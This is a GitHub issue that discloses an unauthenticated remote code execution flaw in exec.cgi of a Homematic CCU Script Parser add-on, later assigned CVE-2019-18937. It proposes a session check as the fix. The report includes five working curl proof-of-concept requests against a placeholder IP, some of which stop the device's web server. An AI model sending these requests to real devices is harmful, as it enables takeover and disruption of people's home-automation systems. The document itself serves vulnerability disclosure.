Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding user session check to exec.cgi #4

Closed
psytester opened this issue Aug 12, 2019 · 2 comments
Closed

Adding user session check to exec.cgi #4

psytester opened this issue Aug 12, 2019 · 2 comments

Comments

@psytester
Copy link

Just in case the Script Parser AddOn is a popular installed software, it can be used by an unauthenticated attacker with access to the web interface for any Remote Code Execution on Homematic CCU.

You may add a login session validation to exec.cgi as shown in PR homematic-community/XML-API#31 for XML-API
Otherwise such calls are possible:

curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/bin/touch /tmp/testfile;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/etc/init.d/S50lighttpd stop;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'
@psytester
Copy link
Author

This security issue was assigned and wil be published the next days as CVE-2019-18937.

@psytester
Copy link
Author

👍 🥇

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant